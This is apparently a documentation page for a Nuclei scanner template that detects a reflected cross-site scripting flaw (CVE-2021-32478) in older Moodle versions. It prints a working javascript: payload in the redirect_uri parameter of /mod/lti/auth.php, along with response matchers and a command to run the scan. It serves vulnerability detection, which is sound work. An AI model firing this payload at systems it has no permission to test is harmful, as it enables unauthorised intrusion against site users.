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Nuclei Templates

Moodle - Cross-Site Scripting

ID: moodle-xss

Severity: medium

Author: hackergautam

Tags: moodle,xss,intrusive

Description

Section titled “Description”

Moodle 3.10 to 3.10.3, 3.9 to 3.9.6, 3.8 to 3.8.8, and earlier unsupported versions contain a cross-site scripting vulnerability via the redirect_uri parameter.

YAML Source

Section titled “YAML Source”
id: moodle-xss


info:
  name: Moodle - Cross-Site Scripting
  author: hackergautam
  severity: medium
  description: Moodle 3.10 to 3.10.3, 3.9 to 3.9.6, 3.8 to 3.8.8, and earlier unsupported versions contain a cross-site scripting vulnerability via the redirect_uri parameter.
  reference:
    - https://twitter.com/JacksonHHax/status/1391367064154042377
    - https://nvd.nist.gov/vuln/detail/CVE-2021-32478
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cwe-id: CWE-80
  metadata:
    max-request: 1
  tags: moodle,xss,intrusive


http:
  - method: GET
    path:
      - "{{BaseURL}}/mod/lti/auth.php?redirect_uri=javascript:alert('{{randstr}}')"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{randstr}}'
          - '<form action="javascript:alert'
        condition: and


      - type: status
        status:
          - 200


      - type: word
        part: header
        words:
          - "text/html"
# digest: 4b0a00483046022100a4242e3f4313ed1a0f8626cd330b2c9f53d6dda9d8e9154c08efd7bf72690c0f022100b3c7259016f4c437f85beedabb09e9f0a37d141da67521b7b697b45760c7e7a2:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/moodle/moodle-xss.yaml"

View on Github